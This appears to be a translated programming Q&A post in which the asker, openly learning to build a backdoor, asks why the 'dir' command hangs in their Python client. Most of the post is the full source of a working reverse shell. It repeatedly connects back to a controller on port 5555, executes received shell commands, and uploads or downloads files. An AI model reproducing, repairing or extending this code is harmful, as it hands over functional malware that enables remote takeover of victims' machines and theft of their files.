python - 系统命令未在 python 中列出目录

Question

我正在学习如何在python中创建后门程序，当我执行程序时目标机器必须连接回来并且我必须能够在目标机器上运行系统命令，以下命令有效，ipconfig和whomai，但dir命令不是当我尝试在目标机器上执行它时工作，我正在使用 python 解释器 3.9 运行代码，在目标机器上执行 dir sysytem 命令时代码冻结。

import socket
import time
import subprocess
import json
import os

def reliable_send(data):
        jsondata = json.dumps(data)
        s.send(jsondata.encode())

def reliable_recv():
        data = ''
        while True:
               # try:
                        data = data + s.recv(1024).decode().rstrip()
                        return json.loads(data)
              #  except ValueError:
                  #      continue




def connection():
    while True:
        time.sleep(20)
        try:
            s.connect(('127.0.0.1',5555))
            shell()
            s.close()
            break
        except:
            connection()

def upload_file(file_name):
    f = open(file_name, 'rb')
    s.send(f.read())


def download_file(file_name):
        f = open(file_name, 'wb')
        s.settimeout(1)
        chunk = s.recv(1024)
        while chunk:
                f.write(chunk)
                try:
                        chunk = s.recv(1024)
                except socket.timeout as e:
                        break
        s.settimeout(None)
        f.close()


def shell():
    while True:
        command = reliable_recv()
        if command == 'quit':
            break
        elif command == 'clear':
            pass
        elif command[:3] == 'cd ':
            os.chdir(command[3:])
        elif command[:8] == 'download':
            upload_file(command[9:])
        elif command[:6] == 'upload':
            download_file(command[7:])
        else:
            execute = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
            result = execute.stdout.read() + execute.stderr.read()
            result = result.decode()
            reliable_send(result)`enter code here`

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection()

标签： python